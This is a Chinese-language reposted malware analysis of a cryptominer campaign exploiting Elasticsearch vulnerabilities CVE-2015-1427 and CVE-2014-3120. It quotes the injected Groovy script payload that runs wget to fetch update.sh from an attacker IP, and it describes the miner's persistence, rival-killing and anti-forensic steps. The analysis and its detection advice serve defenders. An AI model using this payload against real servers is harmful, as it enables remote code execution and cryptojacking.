加密货币挖矿机利用Elasticsearch漏洞进行传播

栏目: 后端 · 发布时间: 6年前

内容简介:ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java开发的,并作为Apache许可条款下的开放源码发布,是当前流行的企业级搜索引擎。能够达到实时搜索,稳定,可靠,快速,安装和使用方便。研究人员在含有Elasticsearch搜索引擎的蜜罐系统中检测到挖矿活动。挖矿攻击活动利用了已知的CVE-2015-1427和CVE-2014-3120漏洞。CVE-2015-1427是Groovy脚

加密货币挖矿机利用Elasticsearch漏洞进行传播

ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用 Java 开发的,并作为Apache许可条款下的开放源码发布,是当前流行的企业级搜索引擎。能够达到实时搜索,稳定,可靠,快速,安装和使用方便。

研究人员在含有Elasticsearch搜索引擎的蜜罐系统中检测到挖矿活动。挖矿攻击活动利用了已知的CVE-2015-1427和CVE-2014-3120漏洞。CVE-2015-1427是Groovy脚本引擎漏洞,允许远程攻击者通过构造的脚本来远程执行任意 shell 命令。CVE-2014-3120是Elasticsearch的默认配置漏洞。目前Elasticsearch已不再支持有漏洞的版本了。

研究人员在运行Elasticsearch的服务器上运行下面的查询命令:

“{“lupin”:{“script”: “java.lang.Math.class.forName(”java.lang.Runtime”).getRuntime().exec(”wget hxxp://69[.]30[.]203[.]170/gLmwDU86r9pM3rXf/update.sh -P
/tmp/sssooo”).getText()”}}}”

相同的攻击系统和攻击主机也使用了相同的命令,该命令也保存着payload。该IP被解析对应的域名为 matrixhazel[.]com ,截止目前该IP已经不能访问了。

加密货币挖矿机利用Elasticsearch漏洞进行传播

图 1. GreyNoise将主机标记为已知的扫描器

挖矿机首先调用shell和运行下载的命令传播bash脚本 update.sh ,命令的输出被设置为 /tmp/sssooo 文件。使用 /tmp 文件是因为在大多数系统中默认的限制比较少。

攻击非常简单,对受害者会带来明显的影响。一旦攻击者获取运行任意命令的能力,就可以尝试进行权限提升,甚至转向其他系统来入侵整个网络。

虽然攻击的方法是差不多的,但是payload可能是不同的。比如研究人员分析的样本中,payload就是 update.sh 。运行后, update.sh 脚本会下载两个文件: devtoolsconfig.json 。脚本随后会应用加密货币挖矿机。

挖矿机的ELF64二进制文件其实是 devtools ,用来帮助更好地伪装挖矿机,因为devtools是GitHub上常见的一款工具。挖矿机使用的配置在 config.json 文件中。

加密货币挖矿机利用Elasticsearch漏洞进行传播

图 2. config.json配置文件

这种方案之前也是被恶意软件广泛使用了,但是封装脚本有许多其他有趣的函数。代码风格与黑客 工具 非常相似,代码的一部分也出现在Xbash相关的恶意软件中。

加密货币挖矿机的应用

挖矿机含有三个文件,可以通过bash中的 wget , curlurl 命令下载:

加密货币挖矿机利用Elasticsearch漏洞进行传播

图 3. wget, curl, url命令

挖矿机可以下载以下内容:

  • Devtools – 真实的挖矿机
  • Update.sh – 用于下载其他部分的bash脚本
  • Config.json – 挖矿机的配置文件

首先,恶意软件会尝试将这些文件保存在 /etc/ ,如果失败的话,就尝试保存在 /tmp 目录。研究人员发现在分析的样本中保存在 /tmp 中是成功的。之后,检查机器中是否有其他挖矿活动。这是假设该设备已经被攻击过了,并尝试从之前的攻击者处去劫持机器。这个过程有可能被用于更新挖矿机到更新的版本。

加密货币挖矿机利用Elasticsearch漏洞进行传播

图 4. 样本中允许挖矿机清除其他已有挖矿机的命令

如果在系统中检测到其他挖矿机,运行的与挖矿机相关的其他进程都会被杀掉。还会重置crontab,这样cron就不会开启其他挖矿机了。

加密货币挖矿机利用Elasticsearch漏洞进行传播

加密货币挖矿机利用Elasticsearch漏洞进行传播

图 5. 系统中其他被杀掉的挖矿机进程

然后挖矿机会把自己加入到 crontab 中,并每 10 分钟运行一次。每次运行时,都会用 chattr -i 先解锁自己,并更新其文件,最后用 chattr +i 来保护文件来防止文件被低权限的用户所修改或删除。挖矿机还会清除历史记录来防止被追踪,如图8所示。其中有趣的一点是当脚本在root目录运行时,脚本会尝试将自己的 SSH key 加入到 authorized_keys 中,这样就可以无密码登陆了。但是命令顺序有问题,导致 key 刚加入 authorized_keys 就被移除了。

加密货币挖矿机利用Elasticsearch漏洞进行传播

图 6. 挖矿机的其他功能:组件保护、通过crontab完成驻留、网络流量加密

加密货币挖矿机利用Elasticsearch漏洞进行传播

图 7. 挖矿机修改系统的iptables/firewall

加密货币挖矿机利用Elasticsearch漏洞进行传播

图 8. 挖矿机通过清除历史记录和文件来防止被追踪

结论和建议

为了预防利用Elasticsearch已知漏洞的攻击,对系统定期打补丁非常有必要,而且需要对系统进行安全监控。Elasticsearch中注入的命令有一些共同点:

  • 都使用shell来运行命令;
  • 都含有从远程/本地位置下载文件的命令,比如curl, wget, url, ftp/get等;
  • 下载文件到/etc或/tmp目录;
  • 在下载恶意文件的过程中,主机尝试所有下载文件的位置和要在本地系统运行的命令。

检测相关的攻击非常重要,需要通过以下措施:

  • 对Elasticsearch使用记录日志,监控可能被用于命令注入的字符串;
  • 监控系统行为。只有授权的用户和解决方案才能使用shell;
  • 通过相关性对网络流量进行分类。本例中,恶意IP每10分钟被调用一次。这可以被用于进程监控和流量分析中。

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Thinking Recursively

Thinking Recursively

Eric S. Roberts / Wiley / 1986-1-17 / USD 85.67

The process of solving large problems by breaking them down into smaller, more simple problems that have identical forms. Thinking Recursively: A small text to solve large problems. Concentrating on t......一起来看看 《Thinking Recursively》 这本书的介绍吧!

MD5 加密
MD5 加密

MD5 加密工具

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具